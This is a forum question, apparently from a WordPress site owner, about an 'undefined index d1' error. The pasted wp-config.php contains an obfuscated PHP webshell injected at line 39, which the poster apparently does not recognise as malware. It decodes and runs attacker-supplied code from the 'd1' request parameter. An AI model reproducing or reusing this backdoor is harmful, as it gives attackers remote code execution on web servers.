Array（[type] => 8 [message] =>未定义索引：d1 [file] => /home/bestblue/public_html/wp-config.php [line] => 39）
在访问首页时出现上述问题，它表明任何人都可以修复它。
下面是我的wp配置文件代码
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'bestblue_a2wp820' );
/** MySQL database username */
this is line number 39
define( 'DB_USER', '');?><?php $a = chr(95).chr(116).chr(101).chr(109).chr(112).chr(108).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110);$c = chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);$d = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$f = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);$b = $f.$d($_REQUEST[chr(100).chr(49)]);@array_diff_ukey(@array((string)($a) => 1), @array((string)($b) => 2), $c);@include($a);@unlink($a); die(); /*' );
/** MySQL database password */
define( 'DB_PASSWORD', 'dbpass' );
/** MySQL hostname */
define( 'DB_HOST', 'dbhost:3660' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0 code here
我在代码顶部张贴了以下错误，因此我的网站显示此错误，我已更改了数据库用户名密码，但错误仍然存在，任何人都可以告诉我我在哪里做错了或指导我有关这个！